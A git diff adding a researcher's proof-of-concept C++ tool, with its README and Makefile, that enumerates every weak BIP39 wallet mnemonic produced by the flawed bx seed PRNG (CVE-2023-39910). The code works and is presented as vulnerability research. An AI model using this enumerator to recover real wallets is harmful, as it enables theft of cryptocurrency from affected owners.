diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/.gitignore b/early_research_code/bx_seed_walker_bip39_mnemonic/.gitignore new file mode 100644 index 0000000..be573cc --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/.gitignore @@ -0,0 +1,3 @@ +# ignore binaries +bx_seed_walker_bip39_mnemonic +bx_seed_walker_bip39_mnemonic_*bit diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/Makefile b/early_research_code/bx_seed_walker_bip39_mnemonic/Makefile new file mode 100644 index 0000000..05027e6 --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/Makefile @@ -0,0 +1,10 @@ +all: bx_seed_walker_bip39_mnemonic_128bit bx_seed_walker_bip39_mnemonic_192bit bx_seed_walker_bip39_mnemonic_256bit + +bx_seed_walker_bip39_mnemonic_128bit: bx_seed_walker_bip39_mnemonic.cpp sha256.c sha256.h bip39_dictionary.hpp + g++ -std=c++11 bx_seed_walker_bip39_mnemonic.cpp sha256.c -O3 -march=native -DBIT_LENGTH=128 -o bx_seed_walker_bip39_mnemonic_128bit + +bx_seed_walker_bip39_mnemonic_192bit: bx_seed_walker_bip39_mnemonic.cpp sha256.c sha256.h bip39_dictionary.hpp + g++ -std=c++11 bx_seed_walker_bip39_mnemonic.cpp sha256.c -O3 -march=native -DBIT_LENGTH=192 -o bx_seed_walker_bip39_mnemonic_192bit + +bx_seed_walker_bip39_mnemonic_256bit: bx_seed_walker_bip39_mnemonic.cpp sha256.c sha256.h bip39_dictionary.hpp + g++ -std=c++11 bx_seed_walker_bip39_mnemonic.cpp sha256.c -O3 -march=native -DBIT_LENGTH=256 -o bx_seed_walker_bip39_mnemonic_256bit \ No newline at end of file diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/README.md b/early_research_code/bx_seed_walker_bip39_mnemonic/README.md new file mode 100644 index 0000000..e74f428 --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/README.md @@ -0,0 +1,46 @@ +# bx seed walker for BIP39 mnemonics + +Optimized proof-of-concept program to derive all possible `2^32` weak mnemonics for `CVE-2023-39910` on a given key length without the need for slow `bx` calls. + +Basic operation: +* Walk over all possible PRNG seeding states +* For each PRNG configuration: + * simulate the `bx seed` behavior to derive the corresponding weak seed + * simulate `bx mnemonic-new` to construct a BIP39 mnemonic + * output the resulting data on stdout + +This program does not perform any filtering of the recovered mnemonics by any criteria. + +With some modifications to the PRNG consumption pattern, this program should also be able to generate mnemonics for `CVE-2023-31290`, although we didn't test this. + +## Usage + +* Build: see `Makefile`. +* Parameters set at build time using build variables. +* Output to stdout. +* Warning: when directed to the file system, the output files for a complete key range will be large (several 100 GiB). + +## Status + +This is experimental, unmaintained code. Use only as research inspiration. + +This program was helpful as a quick proof-of-concept implementation during early experimentation and research in July 2023. It remains in an experimental state. + +## License + +This folder contains adapted code from multiple sources, as well as derived code. See the file headers for more information. + +Due to the derivative usage of libbitcoin code, the primary license is `GNU Affero General Public License` in version 3 or later. + +Other code snippets fall under different licenses, namely some versions of CC BY SA. + +## Credits + +Written by Christian Reitter. Based on code from libbitcoin and other authors. + +## Tests + +Example to compare output with stock `bx` behavior for a given `FAKETIME` value == PRNG seed id: +``` +LD_PRELOAD=/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME_FMT=%s FAKETIME=4.294967294 ./bx-linux-x64-qrcode seed -b 256 | ./bx-linux-x64-qrcode mnemonic-new +``` diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/bip39_dictionary.hpp b/early_research_code/bx_seed_walker_bip39_mnemonic/bip39_dictionary.hpp new file mode 100644 index 0000000..00e104c --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/bip39_dictionary.hpp @@ -0,0 +1,395 @@ + +#include +#include +#include +#include +#include +#include + +// Adapted code from +// * https://github.com/libbitcoin/libbitcoin-system/blob/a012c9b7219fb2b85ecbc981a4982eecdd37263a/include/bitcoin/system/wallet/dictionary.hpp +// * https://github.com/libbitcoin/libbitcoin-system/blob/c818b39b8beaf9c7f54ac8bc7d055f30e91baf10/src/wallet/dictionary.cpp +// +// Underlying BIP39 wordlist data is identical to +// https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt + +/** + * Copyright (c) 2011-2023 libbitcoin developers (see AUTHORS) + * + * This file is part of libbitcoin. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Affero General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see . + */ + +/** + * A dictionary for creating mnemonics. + * The bip39 spec calls this a "wordlist". + * This is a POD type, which means the compiler can write it directly + * to static memory with no run-time overhead. + */ +typedef std::array dictionary; + +/** + * A collection of candidate dictionaries for mnemonic validation. + */ +typedef std::vector dictionary_list; + +namespace language { +// only include english dictionary at the moment, which is the standard +extern const dictionary en; +} // namespace language + +const dictionary en = { + {"abandon", "ability", "able", "about", "above", "absent", + "absorb", "abstract", "absurd", "abuse", "access", "accident", + "account", "accuse", "achieve", "acid", "acoustic", "acquire", + "across", "act", "action", "actor", "actress", "actual", + "adapt", "add", "addict", "address", "adjust", "admit", + "adult", "advance", "advice", "aerobic", "affair", "afford", + "afraid", "again", "age", "agent", "agree", "ahead", + "aim", "air", "airport", "aisle", "alarm", "album", + "alcohol", "alert", "alien", "all", "alley", "allow", + "almost", "alone", "alpha", "already", "also", "alter", + "always", "amateur", "amazing", "among", "amount", "amused", + "analyst", "anchor", "ancient", "anger", "angle", "angry", + "animal", "ankle", "announce", "annual", "another", "answer", + "antenna", "antique", "anxiety", "any", "apart", "apology", + "appear", "apple", "approve", "april", "arch", "arctic", + "area", "arena", "argue", "arm", "armed", "armor", + "army", "around", "arrange", "arrest", "arrive", "arrow", + "art", "artefact", "artist", "artwork", "ask", "aspect", + "assault", "asset", "assist", "assume", "asthma", "athlete", + "atom", "attack", "attend", "attitude", "attract", "auction", + "audit", "august", "aunt", "author", "auto", "autumn", + "average", "avocado", "avoid", "awake", "aware", "away", + "awesome", "awful", "awkward", "axis", "baby", "bachelor", + "bacon", "badge", "bag", "balance", "balcony", "ball", + "bamboo", "banana", "banner", "bar", "barely", "bargain", + "barrel", "base", "basic", "basket", "battle", "beach", + "bean", "beauty", "because", "become", "beef", "before", + "begin", "behave", "behind", "believe", "below", "belt", + "bench", "benefit", "best", "betray", "better", "between", + "beyond", "bicycle", "bid", "bike", "bind", "biology", + "bird", "birth", "bitter", "black", "blade", "blame", + "blanket", "blast", "bleak", "bless", "blind", "blood", + "blossom", "blouse", "blue", "blur", "blush", "board", + "boat", "body", "boil", "bomb", "bone", "bonus", + "book", "boost", "border", "boring", "borrow", "boss", + "bottom", "bounce", "box", "boy", "bracket", "brain", + "brand", "brass", "brave", "bread", "breeze", "brick", + "bridge", "brief", "bright", "bring", "brisk", "broccoli", + "broken", "bronze", "broom", "brother", "brown", "brush", + "bubble", "buddy", "budget", "buffalo", "build", "bulb", + "bulk", "bullet", "bundle", "bunker", "burden", "burger", + "burst", "bus", "business", "busy", "butter", "buyer", + "buzz", "cabbage", "cabin", "cable", "cactus", "cage", + "cake", "call", "calm", "camera", "camp", "can", + "canal", "cancel", "candy", "cannon", "canoe", "canvas", + "canyon", "capable", "capital", "captain", "car", "carbon", + "card", "cargo", "carpet", "carry", "cart", "case", + "cash", "casino", "castle", "casual", "cat", "catalog", + "catch", "category", "cattle", "caught", "cause", "caution", + "cave", "ceiling", "celery", "cement", "census", "century", + "cereal", "certain", "chair", "chalk", "champion", "change", + "chaos", "chapter", "charge", "chase", "chat", "cheap", + "check", "cheese", "chef", "cherry", "chest", "chicken", + "chief", "child", "chimney", "choice", "choose", "chronic", + "chuckle", "chunk", "churn", "cigar", "cinnamon", "circle", + "citizen", "city", "civil", "claim", "clap", "clarify", + "claw", "clay", "clean", "clerk", "clever", "click", + "client", "cliff", "climb", "clinic", "clip", "clock", + "clog", "close", "cloth", "cloud", "clown", "club", + "clump", "cluster", "clutch", "coach", "coast", "coconut", + "code", "coffee", "coil", "coin", "collect", "color", + "column", "combine", "come", "comfort", "comic", "common", + "company", "concert", "conduct", "confirm", "congress", "connect", + "consider", "control", "convince", "cook", "cool", "copper", + "copy", "coral", "core", "corn", "correct", "cost", + "cotton", "couch", "country", "couple", "course", "cousin", + "cover", "coyote", "crack", "cradle", "craft", "cram", + "crane", "crash", "crater", "crawl", "crazy", "cream", + "credit", "creek", "crew", "cricket", "crime", "crisp", + "critic", "crop", "cross", "crouch", "crowd", "crucial", + "cruel", "cruise", "crumble", "crunch", "crush", "cry", + "crystal", "cube", "culture", "cup", "cupboard", "curious", + "current", "curtain", "curve", "cushion", "custom", "cute", + "cycle", "dad", "damage", "damp", "dance", "danger", + "daring", "dash", "daughter", "dawn", "day", "deal", + "debate", "debris", "decade", "december", "decide", "decline", + "decorate", "decrease", "deer", "defense", "define", "defy", + "degree", "delay", "deliver", "demand", "demise", "denial", + "dentist", "deny", "depart", "depend", "deposit", "depth", + "deputy", "derive", "describe", "desert", "design", "desk", + "despair", "destroy", "detail", "detect", "develop", "device", + "devote", "diagram", "dial", "diamond", "diary", "dice", + "diesel", "diet", "differ", "digital", "dignity", "dilemma", + "dinner", "dinosaur", "direct", "dirt", "disagree", "discover", + "disease", "dish", "dismiss", "disorder", "display", "distance", + "divert", "divide", "divorce", "dizzy", "doctor", "document", + "dog", "doll", "dolphin", "domain", "donate", "donkey", + "donor", "door", "dose", "double", "dove", "draft", + "dragon", "drama", "drastic", "draw", "dream", "dress", + "drift", "drill", "drink", "drip", "drive", "drop", + "drum", "dry", "duck", "dumb", "dune", "during", + "dust", "dutch", "duty", "dwarf", "dynamic", "eager", + "eagle", "early", "earn", "earth", "easily", "east", + "easy", "echo", "ecology", "economy", "edge", "edit", + "educate", "effort", "egg", "eight", "either", "elbow", + "elder", "electric", "elegant", "element", "elephant", "elevator", + "elite", "else", "embark", "embody", "embrace", "emerge", + "emotion", "employ", "empower", "empty", "enable", "enact", + "end", "endless", "endorse", "enemy", "energy", "enforce", + "engage", "engine", "enhance", "enjoy", "enlist", "enough", + "enrich", "enroll", "ensure", "enter", "entire", "entry", + "envelope", "episode", "equal", "equip", "era", "erase", + "erode", "erosion", "error", "erupt", "escape", "essay", + "essence", "estate", "eternal", "ethics", "evidence", "evil", + "evoke", "evolve", "exact", "example", "excess", "exchange", + "excite", "exclude", "excuse", "execute", "exercise", "exhaust", + "exhibit", "exile", "exist", "exit", "exotic", "expand", + "expect", "expire", "explain", "expose", "express", "extend", + "extra", "eye", "eyebrow", "fabric", "face", "faculty", + "fade", "faint", "faith", "fall", "false", "fame", + "family", "famous", "fan", "fancy", "fantasy", "farm", + "fashion", "fat", "fatal", "father", "fatigue", "fault", + "favorite", "feature", "february", "federal", "fee", "feed", + "feel", "female", "fence", "festival", "fetch", "fever", + "few", "fiber", "fiction", "field", "figure", "file", + "film", "filter", "final", "find", "fine", "finger", + "finish", "fire", "firm", "first", "fiscal", "fish", + "fit", "fitness", "fix", "flag", "flame", "flash", + "flat", "flavor", "flee", "flight", "flip", "float", + "flock", "floor", "flower", "fluid", "flush", "fly", + "foam", "focus", "fog", "foil", "fold", "follow", + "food", "foot", "force", "forest", "forget", "fork", + "fortune", "forum", "forward", "fossil", "foster", "found", + "fox", "fragile", "frame", "frequent", "fresh", "friend", + "fringe", "frog", "front", "frost", "frown", "frozen", + "fruit", "fuel", "fun", "funny", "furnace", "fury", + "future", "gadget", "gain", "galaxy", "gallery", "game", + "gap", "garage", "garbage", "garden", "garlic", "garment", + "gas", "gasp", "gate", "gather", "gauge", "gaze", + "general", "genius", "genre", "gentle", "genuine", "gesture", + "ghost", "giant", "gift", "giggle", "ginger", "giraffe", + "girl", "give", "glad", "glance", "glare", "glass", + "glide", "glimpse", "globe", "gloom", "glory", "glove", + "glow", "glue", "goat", "goddess", "gold", "good", + "goose", "gorilla", "gospel", "gossip", "govern", "gown", + "grab", "grace", "grain", "grant", "grape", "grass", + "gravity", "great", "green", "grid", "grief", "grit", + "grocery", "group", "grow", "grunt", "guard", "guess", + "guide", "guilt", "guitar", "gun", "gym", "habit", + "hair", "half", "hammer", "hamster", "hand", "happy", + "harbor", "hard", "harsh", "harvest", "hat", "have", + "hawk", "hazard", "head", "health", "heart", "heavy", + "hedgehog", "height", "hello", "helmet", "help", "hen", + "hero", "hidden", "high", "hill", "hint", "hip", + "hire", "history", "hobby", "hockey", "hold", "hole", + "holiday", "hollow", "home", "honey", "hood", "hope", + "horn", "horror", "horse", "hospital", "host", "hotel", + "hour", "hover", "hub", "huge", "human", "humble", + "humor", "hundred", "hungry", "hunt", "hurdle", "hurry", + "hurt", "husband", "hybrid", "ice", "icon", "idea", + "identify", "idle", "ignore", "ill", "illegal", "illness", + "image", "imitate", "immense", "immune", "impact", "impose", + "improve", "impulse", "inch", "include", "income", "increase", + "index", "indicate", "indoor", "industry", "infant", "inflict", + "inform", "inhale", "inherit", "initial", "inject", "injury", + "inmate", "inner", "innocent", "input", "inquiry", "insane", + "insect", "inside", "inspire", "install", "intact", "interest", + "into", "invest", "invite", "involve", "iron", "island", + "isolate", "issue", "item", "ivory", "jacket", "jaguar", + "jar", "jazz", "jealous", "jeans", "jelly", "jewel", + "job", "join", "joke", "journey", "joy", "judge", + "juice", "jump", "jungle", "junior", "junk", "just", + "kangaroo", "keen", "keep", "ketchup", "key", "kick", + "kid", "kidney", "kind", "kingdom", "kiss", "kit", + "kitchen", "kite", "kitten", "kiwi", "knee", "knife", + "knock", "know", "lab", "label", "labor", "ladder", + "lady", "lake", "lamp", "language", "laptop", "large", + "later", "latin", "laugh", "laundry", "lava", "law", + "lawn", "lawsuit", "layer", "lazy", "leader", "leaf", + "learn", "leave", "lecture", "left", "leg", "legal", + "legend", "leisure", "lemon", "lend", "length", "lens", + "leopard", "lesson", "letter", "level", "liar", "liberty", + "library", "license", "life", "lift", "light", "like", + "limb", "limit", "link", "lion", "liquid", "list", + "little", "live", "lizard", "load", "loan", "lobster", + "local", "lock", "logic", "lonely", "long", "loop", + "lottery", "loud", "lounge", "love", "loyal", "lucky", + "luggage", "lumber", "lunar", "lunch", "luxury", "lyrics", + "machine", "mad", "magic", "magnet", "maid", "mail", + "main", "major", "make", "mammal", "man", "manage", + "mandate", "mango", "mansion", "manual", "maple", "marble", + "march", "margin", "marine", "market", "marriage", "mask", + "mass", "master", "match", "material", "math", "matrix", + "matter", "maximum", "maze", "meadow", "mean", "measure", + "meat", "mechanic", "medal", "media", "melody", "melt", + "member", "memory", "mention", "menu", "mercy", "merge", + "merit", "merry", "mesh", "message", "metal", "method", + "middle", "midnight", "milk", "million", "mimic", "mind", + "minimum", "minor", "minute", "miracle", "mirror", "misery", + "miss", "mistake", "mix", "mixed", "mixture", "mobile", + "model", "modify", "mom", "moment", "monitor", "monkey", + "monster", "month", "moon", "moral", "more", "morning", + "mosquito", "mother", "motion", "motor", "mountain", "mouse", + "move", "movie", "much", "muffin", "mule", "multiply", + "muscle", "museum", "mushroom", "music", "must", "mutual", + "myself", "mystery", "myth", "naive", "name", "napkin", + "narrow", "nasty", "nation", "nature", "near", "neck", + "need", "negative", "neglect", "neither", "nephew", "nerve", + "nest", "net", "network", "neutral", "never", "news", + "next", "nice", "night", "noble", "noise", "nominee", + "noodle", "normal", "north", "nose", "notable", "note", + "nothing", "notice", "novel", "now", "nuclear", "number", + "nurse", "nut", "oak", "obey", "object", "oblige", + "obscure", "observe", "obtain", "obvious", "occur", "ocean", + "october", "odor", "off", "offer", "office", "often", + "oil", "okay", "old", "olive", "olympic", "omit", + "once", "one", "onion", "online", "only", "open", + "opera", "opinion", "oppose", "option", "orange", "orbit", + "orchard", "order", "ordinary", "organ", "orient", "original", + "orphan", "ostrich", "other", "outdoor", "outer", "output", + "outside", "oval", "oven", "over", "own", "owner", + "oxygen", "oyster", "ozone", "pact", "paddle", "page", + "pair", "palace", "palm", "panda", "panel", "panic", + "panther", "paper", "parade", "parent", "park", "parrot", + "party", "pass", "patch", "path", "patient", "patrol", + "pattern", "pause", "pave", "payment", "peace", "peanut", + "pear", "peasant", "pelican", "pen", "penalty", "pencil", + "people", "pepper", "perfect", "permit", "person", "pet", + "phone", "photo", "phrase", "physical", "piano", "picnic", + "picture", "piece", "pig", "pigeon", "pill", "pilot", + "pink", "pioneer", "pipe", "pistol", "pitch", "pizza", + "place", "planet", "plastic", "plate", "play", "please", + "pledge", "pluck", "plug", "plunge", "poem", "poet", + "point", "polar", "pole", "police", "pond", "pony", + "pool", "popular", "portion", "position", "possible", "post", + "potato", "pottery", "poverty", "powder", "power", "practice", + "praise", "predict", "prefer", "prepare", "present", "pretty", + "prevent", "price", "pride", "primary", "print", "priority", + "prison", "private", "prize", "problem", "process", "produce", + "profit", "program", "project", "promote", "proof", "property", + "prosper", "protect", "proud", "provide", "public", "pudding", + "pull", "pulp", "pulse", "pumpkin", "punch", "pupil", + "puppy", "purchase", "purity", "purpose", "purse", "push", + "put", "puzzle", "pyramid", "quality", "quantum", "quarter", + "question", "quick", "quit", "quiz", "quote", "rabbit", + "raccoon", "race", "rack", "radar", "radio", "rail", + "rain", "raise", "rally", "ramp", "ranch", "random", + "range", "rapid", "rare", "rate", "rather", "raven", + "raw", "razor", "ready", "real", "reason", "rebel", + "rebuild", "recall", "receive", "recipe", "record", "recycle", + "reduce", "reflect", "reform", "refuse", "region", "regret", + "regular", "reject", "relax", "release", "relief", "rely", + "remain", "remember", "remind", "remove", "render", "renew", + "rent", "reopen", "repair", "repeat", "replace", "report", + "require", "rescue", "resemble", "resist", "resource", "response", + "result", "retire", "retreat", "return", "reunion", "reveal", + "review", "reward", "rhythm", "rib", "ribbon", "rice", + "rich", "ride", "ridge", "rifle", "right", "rigid", + "ring", "riot", "ripple", "risk", "ritual", "rival", + "river", "road", "roast", "robot", "robust", "rocket", + "romance", "roof", "rookie", "room", "rose", "rotate", + "rough", "round", "route", "royal", "rubber", "rude", + "rug", "rule", "run", "runway", "rural", "sad", + "saddle", "sadness", "safe", "sail", "salad", "salmon", + "salon", "salt", "salute", "same", "sample", "sand", + "satisfy", "satoshi", "sauce", "sausage", "save", "say", + "scale", "scan", "scare", "scatter", "scene", "scheme", + "school", "science", "scissors", "scorpion", "scout", "scrap", + "screen", "script", "scrub", "sea", "search", "season", + "seat", "second", "secret", "section", "security", "seed", + "seek", "segment", "select", "sell", "seminar", "senior", + "sense", "sentence", "series", "service", "session", "settle", + "setup", "seven", "shadow", "shaft", "shallow", "share", + "shed", "shell", "sheriff", "shield", "shift", "shine", + "ship", "shiver", "shock", "shoe", "shoot", "shop", + "short", "shoulder", "shove", "shrimp", "shrug", "shuffle", + "shy", "sibling", "sick", "side", "siege", "sight", + "sign", "silent", "silk", "silly", "silver", "similar", + "simple", "since", "sing", "siren", "sister", "situate", + "six", "size", "skate", "sketch", "ski", "skill", + "skin", "skirt", "skull", "slab", "slam", "sleep", + "slender", "slice", "slide", "slight", "slim", "slogan", + "slot", "slow", "slush", "small", "smart", "smile", + "smoke", "smooth", "snack", "snake", "snap", "sniff", + "snow", "soap", "soccer", "social", "sock", "soda", + "soft", "solar", "soldier", "solid", "solution", "solve", + "someone", "song", "soon", "sorry", "sort", "soul", + "sound", "soup", "source", "south", "space", "spare", + "spatial", "spawn", "speak", "special", "speed", "spell", + "spend", "sphere", "spice", "spider", "spike", "spin", + "spirit", "split", "spoil", "sponsor", "spoon", "sport", + "spot", "spray", "spread", "spring", "spy", "square", + "squeeze", "squirrel", "stable", "stadium", "staff", "stage", + "stairs", "stamp", "stand", "start", "state", "stay", + "steak", "steel", "stem", "step", "stereo", "stick", + "still", "sting", "stock", "stomach", "stone", "stool", + "story", "stove", "strategy", "street", "strike", "strong", + "struggle", "student", "stuff", "stumble", "style", "subject", + "submit", "subway", "success", "such", "sudden", "suffer", + "sugar", "suggest", "suit", "summer", "sun", "sunny", + "sunset", "super", "supply", "supreme", "sure", "surface", + "surge", "surprise", "surround", "survey", "suspect", "sustain", + "swallow", "swamp", "swap", "swarm", "swear", "sweet", + "swift", "swim", "swing", "switch", "sword", "symbol", + "symptom", "syrup", "system", "table", "tackle", "tag", + "tail", "talent", "talk", "tank", "tape", "target", + "task", "taste", "tattoo", "taxi", "teach", "team", + "tell", "ten", "tenant", "tennis", "tent", "term", + "test", "text", "thank", "that", "theme", "then", + "theory", "there", "they", "thing", "this", "thought", + "three", "thrive", "throw", "thumb", "thunder", "ticket", + "tide", "tiger", "tilt", "timber", "time", "tiny", + "tip", "tired", "tissue", "title", "toast", "tobacco", + "today", "toddler", "toe", "together", "toilet", "token", + "tomato", "tomorrow", "tone", "tongue", "tonight", "tool", + "tooth", "top", "topic", "topple", "torch", "tornado", + "tortoise", "toss", "total", "tourist", "toward", "tower", + "town", "toy", "track", "trade", "traffic", "tragic", + "train", "transfer", "trap", "trash", "travel", "tray", + "treat", "tree", "trend", "trial", "tribe", "trick", + "trigger", "trim", "trip", "trophy", "trouble", "truck", + "true", "truly", "trumpet", "trust", "truth", "try", + "tube", "tuition", "tumble", "tuna", "tunnel", "turkey", + "turn", "turtle", "twelve", "twenty", "twice", "twin", + "twist", "two", "type", "typical", "ugly", "umbrella", + "unable", "unaware", "uncle", "uncover", "under", "undo", + "unfair", "unfold", "unhappy", "uniform", "unique", "unit", + "universe", "unknown", "unlock", "until", "unusual", "unveil", + "update", "upgrade", "uphold", "upon", "upper", "upset", + "urban", "urge", "usage", "use", "used", "useful", + "useless", "usual", "utility", "vacant", "vacuum", "vague", + "valid", "valley", "valve", "van", "vanish", "vapor", + "various", "vast", "vault", "vehicle", "velvet", "vendor", + "venture", "venue", "verb", "verify", "version", "very", + "vessel", "veteran", "viable", "vibrant", "vicious", "victory", + "video", "view", "village", "vintage", "violin", "virtual", + "virus", "visa", "visit", "visual", "vital", "vivid", + "vocal", "voice", "void", "volcano", "volume", "vote", + "voyage", "wage", "wagon", "wait", "walk", "wall", + "walnut", "want", "warfare", "warm", "warrior", "wash", + "wasp", "waste", "water", "wave", "way", "wealth", + "weapon", "wear", "weasel", "weather", "web", "wedding", + "weekend", "weird", "welcome", "west", "wet", "whale", + "what", "wheat", "wheel", "when", "where", "whip", + "whisper", "wide", "width", "wife", "wild", "will", + "win", "window", "wine", "wing", "wink", "winner", + "winter", "wire", "wisdom", "wise", "wish", "witness", + "wolf", "woman", "wonder", "wood", "wool", "word", + "work", "world", "worry", "worth", "wrap", "wreck", + "wrestle", "wrist", "write", "wrong", "yard", "year", + "yellow", "you", "young", "youth", "zebra", "zero", + "zone", "zoo"}}; diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/bx_seed_walker_bip39_mnemonic.cpp b/early_research_code/bx_seed_walker_bip39_mnemonic/bx_seed_walker_bip39_mnemonic.cpp new file mode 100644 index 0000000..d67f280 --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/bx_seed_walker_bip39_mnemonic.cpp @@ -0,0 +1,222 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "bip39_dictionary.hpp" +#include "sha256.h" + +// PoC author: Christian Reitter +// Note: experimental code +// See local notes and the README for more license and authorship information +// Unless noted otherwise, licensed AGPLv3 or later + +// stay close to libbitcoin in type description +typedef std::vector data_chunk; + +// function adapted from +// https://stackoverflow.com/questions/26503606/better-way-to-convert-a-vector-of-uint8-to-an-ascii-hexadecimal-string +// Licensed under CC BY-SA 3.0 +// Author https://stackoverflow.com/users/596781/kerrek-sb +std::string uint8_vector_to_hex_string(const std::vector &v) { + std::string result; + result.reserve(v.size() * 2); // two digits per character + + // adapted to lowercase hex + static constexpr char hex[] = "0123456789abcdef"; + + for (uint8_t c : v) { + result.push_back(hex[c / 16]); + result.push_back(hex[c % 16]); + } + + return result; +} + +// sha256 specific container, fixed size +typedef std::array hash_digest_sha256; + +hash_digest_sha256 sha256_hash(data_chunk data) { + hash_digest_sha256 hash; + SHA256_(data.data(), data.size(), hash.data()); + return hash; +} + +// BIP-39 private constants. +static constexpr size_t bits_per_word = 11; +static constexpr size_t entropy_bit_divisor = 32; +constexpr uint8_t byte_bits = 8; +static constexpr size_t mnemonic_seed_multiple = 4; + +// Represents a mnemonic word list. +typedef std::vector string_list; +typedef string_list word_list; + +// function taken from +// https://stackoverflow.com/questions/5288396/c-ostream-out-manipulation/5289170#5289170 +// License should be CC BY-SA 4.0 (edited after 2018-05-02) +// Author https://stackoverflow.com/users/85371/sehe +// +// note: delimiter cannot contain NUL characters +template +std::string Join(Range const &elements, const char *const delimiter) { + std::ostringstream os; + auto b = begin(elements), e = end(elements); + + if (b != e) { + std::copy(b, prev(e), std::ostream_iterator(os, delimiter)); + b = prev(e); + } + if (b != e) { + os << *b; + } + + return os.str(); +} + +inline uint8_t bip39_shift(size_t bit) { + return (1 << (byte_bits - (bit % byte_bits) - 1)); +} + +word_list create_mnemonic(data_chunk entropy, const dictionary &lexicon) { + if ((entropy.size() % mnemonic_seed_multiple) != 0) + return word_list(); + + const size_t entropy_bits = (entropy.size() * 8); + const size_t check_bits = (entropy_bits / entropy_bit_divisor); + const size_t total_bits = (entropy_bits + check_bits); + const size_t word_count = (total_bits / bits_per_word); + + // disabled assert + // BITCOIN_ASSERT((total_bits % bits_per_word) == 0); + // BITCOIN_ASSERT((word_count % mnemonic_word_multiple) == 0); + + // old code for reference: + // const auto data = build_chunk({entropy, sha256_hash(entropy)}); + + // this does the chunk building without a detour over other libbitcoin types + auto data = entropy; + auto checksum_bytes = sha256_hash(entropy); + // mechanism based on + // https://stackoverflow.com/questions/259297/how-do-you-copy-the-contents-of-an-array-to-a-stdvector-in-c-without-looping + // CC BY-SA 2.5, author https://stackoverflow.com/users/7405/mattyt + // uint8_t array, omit the /1 division since sizeof(uint8_t) == 1 byte + data.insert(data.end(), &checksum_bytes[0], + &checksum_bytes[checksum_bytes.size()]); + + size_t bit = 0; + word_list words; + + for (size_t word = 0; word < word_count; word++) { + size_t position = 0; + for (size_t loop = 0; loop < bits_per_word; loop++) { + bit = (word * bits_per_word + loop); + position <<= 1; + + const auto byte = bit / 8; + + if ((data[byte] & bip39_shift(bit)) > 0) + position++; + } + + // disabled assert + // BITCOIN_ASSERT(position < dictionary_size); + words.push_back(lexicon[position]); + } + + // disabled assert + // BITCOIN_ASSERT(words.size() == ((bit + 1) / bits_per_word)); + return words; +} + +void main_wallet_generation_loop(size_t bit_length, + uint32_t rng_target_index_start, + uint32_t rng_target_index_end) { + + uint32_t rng_target_index = rng_target_index_start; + + // the distribution is static + std::uniform_int_distribution distribution(0, 255); + // this gets re-used during computation, initialized with 0 as dummy + std::mt19937 twister(0); + + // as defined in libbitcoin + size_t fill_seed_size = bit_length / 8; + data_chunk seed(fill_seed_size); + + // hot loop + while (true) { + // simulate the `bx seed` output for the index in question + // one index step represents one nanosecond in the time based PRNG seeding + + // Context: former pseudo_random_fill() start + twister.seed(rng_target_index); + + const auto fill = [&distribution, &twister](uint8_t byte) { + return static_cast((distribution)(twister)); + }; + + std::transform(seed.begin(), seed.end(), seed.begin(), fill); + // Context: former pseudo_random_fill() end + + // weak "entropy" data used by BIP39 + // print basic index,entropy CSV to stdout + // std::cout << rng_target_index << "," << uint8_vector_to_hex_string(seed) + // << "\n"; + + // Optimization potential, the Join() is likely too expensive + // print basic CSV to stdout: + // index,bip39 mnemonic (with spaces) + std::cout << rng_target_index << "," << Join(create_mnemonic(seed, en), " ") + << "\n"; + + // stop looping if we've hit the goal + // reminder: be careful with unsigned integer overflow + if (rng_target_index >= rng_target_index_end) { + break; + } + rng_target_index++; + } +} + +int main() { +// Note hardcoded English BIP39 wordlist choice +// other BIP39 wordlist languages require code changes + +// context: +// size_t bit_length = 128; // lowest allowed +// size_t bit_length = 192; // bx seed default on 3.2.0 +// other bit lengths possible but unusual +#ifndef BIT_LENGTH +#define BIT_LENGTH 256 +#endif + +// minimum value 0 +#ifndef RNG_TARGET_INDEX_START +#define RNG_TARGET_INDEX_START 0 +#endif + +// maximum value 4294967295 +#ifndef RNG_TARGET_INDEX_END +#define RNG_TARGET_INDEX_END 4294967295 +#endif + + size_t bit_length = BIT_LENGTH; + uint32_t rng_target_index_start = RNG_TARGET_INDEX_START; + uint32_t rng_target_index_end = RNG_TARGET_INDEX_END; + + // print stderr to avoid tainting the main output + std::cerr << " Running generation with the following parameters: \n"; + std::cerr << " bit_length " << bit_length << "\n"; + std::cerr << " rng_target_index_start " << rng_target_index_start << "\n"; + std::cerr << " rng_target_index_end " << rng_target_index_end << "\n"; + + main_wallet_generation_loop(bit_length, rng_target_index_start, + rng_target_index_end); + + return 0; +} \ No newline at end of file diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.c b/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.c new file mode 100644 index 0000000..d598f78 --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.c @@ -0,0 +1,281 @@ +/* libsodium: hash_sha256.c, v0.4.5 2014/04/16 */ +/** + * Copyright 2005,2007,2009 Colin Percival. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED 